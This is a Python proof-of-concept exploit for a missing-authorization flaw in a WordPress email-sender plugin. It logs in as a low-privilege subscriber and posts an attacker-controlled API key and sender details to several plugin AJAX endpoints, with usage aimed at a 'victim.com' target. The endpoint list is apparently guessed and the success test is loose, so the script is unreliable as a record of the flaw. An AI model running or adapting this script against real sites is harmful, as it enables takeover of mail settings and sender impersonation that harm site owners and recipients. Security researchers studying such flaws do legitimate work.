# CVE-2025-66525 PoC - Missing Authorization in Elastic Email Sender
# Author: Security Researcher
# Target: WordPress Elastic Email Sender plugin <= 1.2.20
import requests
import sys
from urllib.parse import urljoin
def exploit_cve_2025_66525(target_url, username, password):
"""
Exploit for Missing Authorization vulnerability in Elastic Email Sender plugin.
This PoC demonstrates how a low-privilege user can access admin functions.
"""
# Setup session
session = requests.Session()
# Step 1: Login as low-privilege user (subscriber role)
login_url = urljoin(target_url, 'wp-login.php')
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
print('[*] Attempting to login as low-privilege user...')
response = session.post(login_url, data=login_data, allow_redirects=True)
if 'wordpress_logged_in' not in session.cookies:
print('[-] Login failed!')
return False
print('[+] Login successful!')
# Step 2: Identify vulnerable AJAX endpoints
# Common vulnerable patterns in Elastic Email Sender plugin
vulnerable_endpoints = [
'/wp-admin/admin-ajax.php?action=elastic_email_settings_update',
'/wp-admin/admin-ajax.php?action=elastic_email_send_test',
'/wp-admin/admin-ajax.php?action=elastic_email_get_templates',
'/wp-admin/admin-ajax.php?action=elastic_email_config_save'
]
print('[*] Testing for missing authorization on plugin endpoints...')
for endpoint in vulnerable_endpoints:
full_url = urljoin(target_url, endpoint)
# Malicious payload to modify plugin settings
payload = {
'api_key': 'attacker_controlled_key',
'from_email': '
[email protected]',
'from_name': 'Compromised'
}
try:
response = session.post(full_url, data=payload, timeout=10)
# Check if request was processed without authorization
if response.status_code == 200:
# Check response for signs of successful exploitation
if any(keyword in response.text.lower() for keyword in ['success', 'updated', 'saved', 'true']):
print(f'[+] VULNERABLE: {endpoint}')
print(f' Status: {response.status_code}')
print(f' Response preview: {response.text[:200]}')
return True
else:
print(f'[*] Endpoint accessible but no obvious exploitation: {endpoint}')
else:
print(f'[-] Protected: {endpoint}')
except requests.exceptions.RequestException as e:
print(f'[-] Error testing {endpoint}: {str(e)}')
print('[*] Manual verification may be required for accurate results.')
return False
if __name__ == '__main__':
if len(sys.argv) < 4:
print('Usage: python cve_2025_66525_poc.py <target_url> <username> <password>')
print('Example: python cve_2025_66525_poc.py http://victim.com subscriber password123')
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
exploit_cve_2025_66525(target, user, pwd)